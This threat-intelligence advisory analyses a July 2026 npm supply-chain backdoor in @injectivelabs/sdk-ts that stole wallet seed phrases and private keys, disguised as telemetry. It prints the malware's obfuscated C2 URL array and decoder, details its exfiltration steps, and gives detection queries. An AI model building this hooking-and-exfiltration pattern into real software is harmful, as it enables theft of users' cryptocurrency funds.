# @injectivelabs/sdk-ts Supply Chain Backdoor — Wallet Credential Theft Disguised as Telemetry

> On July 8, 2026, a malicious version (1.20.21) of the npm package @injectivelabs/sdk-ts was published after an attacker compromised the maintainer account thomasRalee and pushed three commits directly to the main branch of injective-ts. The malicious code hooked PrivateKey.fromMnemonic() and PrivateKey.fromHex() to exfiltrate BIP-39 mnemonic seed phrases and raw private keys, base64-encoded inside the X-Request-Id HTTP header of POST requests to a dynamically-constructed C2 domain mimicking a legitimate Injective testnet gRPC-Web node. The package has ~175,000 monthly downloads; the malicious version was live for ~49 minutes before being reverted. The C2 endpoint remained live and accepting requests at publication.

- **Published:** 2026-07-09T00:00:00Z
- **Last reviewed:** 2026-07-09T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-2366
- **ID:** TL-2026-2366
- **Severity:** CRITICAL (CVSS 9.3)
- **Category:** SUPPLY_CHAIN
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 21 (full data via the Threadlinqs MCP server — Purple tier)

## Description

## Incident Overview

On July 8, 2026, an attacker compromised the GitHub and npm account of thomasRalee (thomas.leera@gmail.com), an established maintainer of the @injectivelabs/sdk-ts SDK — the core TypeScript library for the Injective blockchain ecosystem (~175,000 monthly downloads, ~50,000 weekly). The attacker pushed three commits directly to the main branch of the InjectiveLabs/injective-ts repository, adding a 79-line file (src/utils/key-derivation-telemetry.ts) that disguised a credential-stealing backdoor as anonymous SDK telemetry. The malicious version (1.20.21) was published to npm at 20:59:28 UTC via the repository's own GitHub Actions OIDC trusted-publisher workflow (run 28975012939). The attacker simultaneously published 17 sibling @injectivelabs/* packages at 1.20.21, each pinned to the compromised SDK, creating a transitive dependency exposure vector.

## Attack Vector: Maintainer Account Compromise

The attacker gained access to the account of thomasRalee, not a newly created throwaway account but a trusted contributor with established commit history and npm publishing rights. The malicious commits were authored and pushed under thomasRalee's identity with no associated pull request, indicating the attacker had either direct push permissions or bypassed branch-protection rules. The first suspicious activity was a test branch called test-backdoor-check (~18:06 UTC) used to verify write access. The three malicious commits were performed from a machine in the UTC-4 timezone — a timezone scatter-plot analysis showed this was "a timezone never previously used by this user," strongly suggesting a compromised maintainer account rather than an insider.

## Malicious Code: The key-derivation-telemetry.ts Backdoor

The 79-line payload was added at src/utils/key-derivation-telemetry.ts and compiled into dist/esm/accounts-jQ1GSgaW.js and dist/cjs/accounts-Cy0p4lLW.cjs. It was wired into two canonical wallet-construction static methods on the PrivateKey class:

- **PrivateKey.fromMnemonic(words)** — Immediately after the method signature, the attacker inserted trackKeyDerivation('fm', words), capturing the full BIP-39 mnemonic seed phrase (12 or 24 words). This is the master secret for every wallet address derivable from it.
- **PrivateKey.fromHex(privateKey)** — The attacker inserted trackKeyDerivation('fh', typeof privateKey === 'string' ? privateKey : 'bytes'), capturing the raw hex private key. If the input was a Uint8Array byte array, the string 'bytes' was sent instead (the full hex key is still passed when the caller converts bytes to hex before calling fromHex, which both EthSecp256k1Wallet.fromKey() and DirectEthSecp256k1Wallet.fromKey() do).
- **PrivateKey.generate()** — Indirectly affected because it internally creates a mnemonic and calls fromMnemonic(), meaning a freshly generated wallet could be queued for exfiltration before the caller received the key object.

The MsgBroadcasterWithPk class (transaction broadcaster) imports PrivateKey and calls fromHex() when options.privateKey is not already a PrivateKey object, extending the reach beyond direct wallet-loading code.

The file opened with a deliberately misleading JSDoc comment: "Key derivation telemetry — collects anonymized usage metrics for SDK optimization" and the commit was labeled "chore: add key derivation telemetry for SDK usage analytics" to appear innocuous during code review.

## Exfiltration Mechanism

Captured secrets were pushed into an in-memory queue with a method prefix and timestamp: _q.push(method + ':' + value + ':' + Date.now()). A 2-second debounce timer (setTimeout(..., 2000)) batched multiple derivation events, joining them with pipe characters. On flush:

1. The joined string was base64-encoded: _enc(btoa(value))
2. The encoded payload was placed in the X-Request-Id HTTP header of a fetch() POST request
3. The request used Content-Type: application/grpc-web+proto to mimic the SDK's normal gRPC-Web traffic
4. The request body was empty (to evade shallow inspection)
5. In browser environments, keepalive: true was set so the request completed even if the page unloaded
6. All errors were silently swallowed with .catch(() => {}) — the backdoor never throws, never logs, never surfaces to the calling application
7. In Node.js environments without fetch(), the code fell back to https.request with the same header shape

## C2 Infrastructure

The C2/exfiltration endpoint was obfuscated as a 48-element JavaScript character-code array:

const _e = [116, 101, 115, 116, 110, 101, 116, 46, 97, 114, 99, 104, 105, 118, 97, 108, 46, 99, 104, 97, 105, 110, 46, 103, 114, 112, 99, 45, 119, 101, 98, 46, 105, 110, 106, 101, 99, 116, 105, 118, 101, 46, 110, 101, 116, 119, 111, 114, 107];
const _d = () => _e.map((x) => String.fromCharCode(x)).join('');
const _ep = 'https://' + _d() + '/';

Decoded: https://testnet.archival.chain.grpc-web.injective.network/

This domain masquerades as a legitimate Injective testnet archival gRPC-Web node. The official testnet endpoint is testnet.sentry.chain.grpc-web.injective.network; the archival subdomain is not publicly documented, but it sits inside the official injective.network domain ecosystem. SlowMist observed the domain resolving to 15.235.87.88 (OVH-Hosting range) during their investigation, with DNS results varying by location and time. Datadog confirmed the endpoint was still accepting requests at publication — they sent a sample payload and received a grpc-status: 12 / "malformed method name: \"/\"" response, consistent with a live gRPC-Web gateway of the same type as Injective's official testnet endpoints.

Note on domain discrepancy: The initial GitHub issue #697 reporter identified the exfiltration destination as hexhole.injective.network, but Datadog's independent reverse-engineering of the code confirmed the runtime-reconstructed hostname is testnet.archival.chain.grpc-web.injective.network. Both domains are included as IOCs.

## Scope and Impact

- **Package downloads**: ~175,000 monthly; ~50,000 weekly; malicious version downloaded ~310 times per official npm stats
- **Exposure window**: ~49 minutes (20:59:28 UTC — 21:48:03 UTC on July 8, 2026)
- **Directly compromised**: 1 package (sdk-ts)
- **Transitive exposure**: 17 sibling packages published at 1.20.21 pinning the malicious SDK
- **Dependent packages**: 87 direct dependents; cumulative ~112,000 downloads across the ecosystem
- **Impact**: Complete wallet compromise — any BIP-39 mnemonic or private key passed through the affected version during the window must be treated as compromised. The attacker can derive all wallet addresses and keys from the stolen seed phrase and drain funds.
- **No CVE assigned**: The Snyk advisory SNYK-JS-INJECTIVELABSSDKTS-17911353 (CVSS 9.3 Critical, CWE-506 Embedded Malicious Code) is the primary vulnerability identifier. Snyk labels the exploit maturity as "Attacked" — active exploitation in the wild.

## Detection

Datadog Code Security (Library Inventory) query:
library_name:(@injectivelabs/sdk-ts) library_version:(1.20.21)

Datadog Log Management hunt query:
@dns.question.name:testnet.archival.chain.grpc-web.injective.network OR @network.destination.domain:testnet.archival.chain.grpc-web.injective.network OR @http.url:*testnet.archival.chain.grpc-web.injective.network*

Behavioral indicators:
1. PrivateKey.fromMnemonic() followed by a POST to a gRPC-Web endpoint pattern
2. PrivateKey.fromHex() followed by a POST to the same endpoint
3. Empty-body POST with Content-Type: application/grpc-web+proto and a high-entropy (base64-looking) X-Request-Id header
4. Function names trackKeyDerivation, _enc, _send, _flush appearing in the runtime

## Remediation

- Upgrade all @injectivelabs packages to 1.20.23 or later (clean release)
- Treat any wallet mnemonic or private key passed through the affected version as compromised — rotate keys and migrate funds immediately
- Audit lockfiles and package-manager caches for @injectivelabs/sdk-ts@1.20.21
- Search egress/proxy/DNS logs for the exfiltration domain and the X-Request-Id header pattern
- The malicious 1.20.21 has been deprecated on npm but not removed; GitHub release artifacts remain available

## MITRE ATT&CK

- T1195 Supply Chain Compromise
- T1195.002 Compromise Software Supply Chain
- T1059 Command and Scripting Interpreter
- T1059.007 JavaScript
- T1036 Masquerading
- T1027 Obfuscated Files or Information
- T1071 Application Layer Protocol
- T1071.001 Web Protocols
- T1048 Exfiltration Over Alternative Protocol
- T1048.003 Exfiltration Over Unencrypted Non-C2 Protocol
- T1567 Exfiltration Over Web Service

## Sources

- [Not-so-anonymous telemetry: The @injectivelabs/sdk-ts backdoor — Datadog Security Labs](https://securitylabs.datadoghq.com/articles/not-so-anonymous-telemetry-injectivelabs-sdk-ts-backdoor/)
- [GitHub Issue #697 — injective-ts compromise report](https://github.com/InjectiveLabs/injective-ts/issues/697)
- [Snyk Advisory SNYK-JS-INJECTIVELABSSDKTS-17911353](https://security.snyk.io/vuln/SNYK-JS-INJECTIVELABSSDKTS-17911353)
- [Compromised Injective SDK npm Package Exfiltrates Wallet Keys — Socket](https://socket.dev/blog/compromised-injective-sdk-npm-package)
- [Injective SDK Compromise: Crypto Wallet Keys Stolen Through Fake Telemetry — JFrog Research](https://research.jfrog.com/post/injective-sdk-supply-chain-attack/)
- [18 Packages Backdoored to Steal Crypto Wallet Keys — StepSecurity](https://www.stepsecurity.io/blog/injective-npm-supply-chain-attack-18-packages-backdoored-to-steal-crypto-wallet-keys)
- [Injective SDK on npm infected with cryptocurrency wallet stealer — BleepingComputer](https://www.bleepingcomputer.com/news/security/injective-sdk-on-npm-infected-with-cryptocurrency-wallet-stealer/)
- [Threat Intelligence: Injective SDK Compromised — SlowMist](https://slowmist.medium.com/threat-intelligence-injective-sdk-compromised-crypto-wallet-private-keys-stolen-0b8f06bf37ad)
- [Injective SDK npm Wallet Key Exfiltration — Corgea Research](https://corgea.com/research/injective-sdk-ts-npm-wallet-key-exfiltration-july-2026)
- [Compromised @injectivelabs/sdk-ts exfiltrates wallet keys — Aikido](https://www.aikido.dev/blog/compromised-injectivelabs-exfiltrates-keys)
- [Injective nmp SDK Backdoored to Steal Wallet Keys — SigIntZero](https://sigintzero.com/blog/injective-sdk-npm-supply-chain-attack)
- [@injectivelabs/sdk-ts — npm registry](https://www.npmjs.com/package/@injectivelabs/sdk-ts)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-2366
